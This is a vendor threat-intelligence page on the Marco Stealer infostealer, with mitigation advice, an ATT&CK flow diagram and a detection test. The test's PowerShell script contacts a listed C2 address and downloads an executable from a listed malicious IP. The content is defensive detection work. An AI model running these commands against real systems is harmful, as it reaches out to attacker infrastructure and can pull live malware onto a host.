SOC Prime Bias: Medium

09 Feb 2026 18:57
newspaper icon TransferLoader

Deep-Dive Technical Analysis of Marco Stealer

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Deep-Dive Technical Analysis of Marco Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

Zscaler ThreatLabz identified a new infostealer, Marco Stealer, in June 2025. The malware steals browser data, cryptocurrency wallet artifacts, and selected files from local and cloud-synced storage, while using anti-analysis tactics to slow investigation. It talks to command-and-control over HTTP and protects traffic with AES-256. Infections are commonly staged with a PowerShell downloader and a named-pipe channel used during collection/exfiltration.

Investigation

ThreatLabz described a downloader that assembles a PowerShell command chain, uses a static mutex to prevent multiple instances, and relies on encrypted strings. The stealer attempts to terminate analysis and monitoring utilities, then collects from the registry, filesystem, and supported browsers via embedded DLLs and a helper executable. Network activity is encrypted and sent to hard-coded IP addresses. The report also enumerates the browsers, cloud services, and wallet targets covered by the campaign.

Mitigation

Block known C2 IPs/domains and restrict execution of unsigned PowerShell scripts. Alert on the observed mutex and named-pipe identifiers, and use application control to prevent execution from temporary or user-writable paths. Monitor for the campaign’s user-agent patterns and for suspicious process-termination behavior tied to anti-analysis.

Response

Isolate affected hosts, terminate the stealer, and remove artifacts dropped in temporary directories. Preserve evidence (mutex/pipe names, binaries, and network logs), scan for additional payloads, and verify registry changes. Update detections with extracted indicators and coordinate credential/wallet remediation where exposure is suspected.

"graph TB %% Class definitions for node types classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes u2013 Techniques (Actions) action_ps_download["<b>Technique</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Execute PowerShell commands to download additional payloads over HTTP."] class action_ps_download action action_process_discovery["<b>Technique</b> – <b>T1057 Process Discovery</b><br/><b>Description</b>: Enumerate running processes on the host system."] class action_process_discovery action action_wmi_query["<b>Technique</b> – <b>T1047 Windows Management Instrumentation</b><br/><b>Description</b>: Use WMI queries to gather information from the operating system."] class action_wmi_query action action_security_sw_discovery["<b>Technique</b> – <b>T1518.001 Security Software Discovery</b><br/><b>Description</b>: Identify installed security products such as antivirus solutions."] class action_security_sw_discovery action action_registry_query["<b>Technique</b> – <b>T1012 Query Registry</b><br/><b>Description</b>: Read registry keys to obtain configuration and securityu2011software information."] class action_registry_query action action_system_info["<b>Technique</b> – <b>T1082 System Information Discovery</b><br/><b>Description</b>: Collect hardware IDs, OS version and external IP/geolocation data."] class action_system_info action action_system_location["<b>Technique</b> – <b>T1614 System Location Discovery</b><br/><b>Description</b>: Determine the physical or network location of the compromised system."] class action_system_location action action_remote_discovery["<b>Technique</b> – <b>T1018 Remote System Discovery</b><br/><b>Description</b>: Find other systems reachable on the network."] class action_remote_discovery action action_software_discovery["<b>Technique</b> – <b>T1518 Software Discovery</b><br/><b>Description</b>: Enumerate installed applications and versions."] class action_software_discovery action action_file_dir_discovery["<b>Technique</b> – <b>T1083 File and Directory Discovery</b><br/><b>Description</b>: Scan user folders and cloudu2011sync directories for relevant files."] class action_file_dir_discovery action action_data_local["<b>Technique</b> – <b>T1005 Data from Local System</b><br/><b>Description</b>: Gather files matching sensitive patterns from the local filesystem."] class action_data_local action action_automated_collection["<b>Technique</b> – <b>T1119 Automated Collection</b><br/><b>Description</b>: Automate the collection of identified data for exfiltration."] class action_automated_collection action action_clipboard["<b>Technique</b> – <b>T1115 Clipboard Data</b><br/><b>Description</b>: Capture contents of the system clipboard."] class action_clipboard action action_screenshot["<b>Technique</b> – <b>T1113 Screen Capture</b><br/><b>Description</b>: Take screenshots of the user's desktop."] class action_screenshot action action_dll_injection["<b>Technique</b> – <b>T1055.001 DLL Injection</b><br/><b>Description</b>: Inject a malicious DLL into Chromiumu2011based browsers to steal credentials and wallet data."] class action_dll_injection action action_appcert_dll["<b>Technique</b> – <b>T1546.009 AppCert DLL Execution</b><br/><b>Description</b>: Load a malicious DLL via the Windows App Certification process."] class action_appcert_dll action action_encrypt["<b>Technique</b> – <b>T1573.001 Encrypted Channel: Symmetric Cryptography</b><br/><b>Description</b>: Encrypt harvested data with AESu2011256 before transmission."] class action_encrypt action action_exfil_http["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/><b>Description</b>: Send encrypted data to the C2 server using HTTP POST."] class action_exfil_http action action_exfil_alt["<b>Technique</b> – <b>T1048 Exfiltration Over Alternative Protocol</b><br/><b>Description</b>: May fall back to alternative protocols if HTTP is blocked."] class action_exfil_alt action %% Nodes u2013 Tools / Malware tool_marco_stealer["<b>Malware</b> – <b>Name</b>: Marco Stealer<br/><b>Description</b>: Payload that performs discovery, collection and exfiltration."] class tool_marco_stealer malware %% Nodes u2013 Miscellaneous Actions action_mutex["<b>Action</b> – Create Mutex<br/><b>Description</b>: Ensure a single instance of the stealer is running."] class action_mutex action action_anti_analysis["<b>Action</b> – Antiu2011analysis Checks<br/><b>Description</b>: Perform checks to evade sandboxes and debuggers."] class action_anti_analysis action %% Connections u2013 Flow action_ps_download –>|downloads| tool_marco_stealer tool_marco_stealer –>|creates| action_mutex action_mutex –>|executes| action_anti_analysis action_anti_analysis –>|discovers processes| action_process_discovery action_process_discovery –>|uses| action_wmi_query action_wmi_query –>|identifies security software| action_security_sw_discovery action_wmi_query –>|reads| action_registry_query action_anti_analysis –>|gathers system info| action_system_info action_system_info –>|includes| action_system_location action_system_info –>|includes| action_remote_discovery action_anti_analysis –>|collects installed software| action_software_discovery action_software_discovery –>|scans directories| action_file_dir_discovery action_file_dir_discovery –>|collects files| action_data_local action_data_local –>|triggers| action_automated_collection action_automated_collection –>|captures clipboard| action_clipboard action_automated_collection –>|captures screenshots| action_screenshot action_automated_collection –>|injects DLL| action_dll_injection action_dll_injection –>|via| action_appcert_dll action_automated_collection –>|encrypts data| action_encrypt action_encrypt –>|exfiltrates via HTTP| action_exfil_http action_encrypt –>|fallback to| action_exfil_alt %% Styling assignments class action_ps_download,action_process_discovery,action_wmi_query,action_security_sw_discovery,action_registry_query,action_system_info,action_system_location,action_remote_discovery,action_software_discovery,action_file_dir_discovery,action_data_local,action_automated_collection,action_clipboard,action_screenshot,action_dll_injection,action_appcert_dll,action_encrypt,action_exfil_http,action_exfil_alt,action_mutex,action_anti_analysis action class tool_marco_stealer malware "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An attacker has delivered the Marco Stealer payload onto a compromised Windows workstation. Upon execution, the malware performs the following steps:

    1. C2 Beacon: It initiates an HTTPS POST to https://45.74.19.20:49259/receive to exchange encryption keys and exfiltrate collected system data (T1071, T1573).
    2. Payload Retrieval: It downloads the secondary malicious executable from https://217.156.50.228:8185/LoqnOOuuIsTIYfkrdsfL/eUelHAyY.exe (T1105).
    3. The downloader runs the payload in a hidden PowerShell process (T1059) and continues the data‑stealing loop.

    Because the proxy is configured to log full URLs, both network connections appear in the url field, matching the Sigma rule’s IOC list.

  • Regression Test Script:

    # Marco Stealer C2 & Downloader Simulation
# This script reproduces the exact network traffic the Sigma rule watches.

# 1. C2 beacon (harmless payload – just a GET to emulate traffic)
Invoke-WebRequest -Uri "https://45.74.19.20:49259/receive" -Method GET -UseBasicParsing

# 2. Download mock payload (a tiny text file to avoid real malware)
$payloadUrl = "https://217.156.50.228:8185/LoqnOOuuIsTIYfkrdsfL/eUelHAyY.exe"
$outFile   = "$env:TEMPeUelHAyY.exe"

# Download the file (the server will likely return 404 – the goal is only the network request)
try {
    Invoke-WebRequest -Uri $payloadUrl -OutFile $outFile -UseBasicParsing -ErrorAction Stop
} catch {
    Write-Host "Download attempt completed (expected failure in test environment)."
}

# 3. Simulate execution of the downloaded payload (no real execution)
Write-Host "Simulated execution of $outFile (no action taken)."

  • Cleanup Commands:

    # Remove any artefacts created by the test script
$tempFile = "$env:TEMPeUelHAyY.exe"
if (Test-Path $tempFile) {
    Remove-Item -Path $tempFile -Force
    Write-Host "Deleted $tempFile"
} else {
    Write-Host "No temporary file found; nothing to clean."
}

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free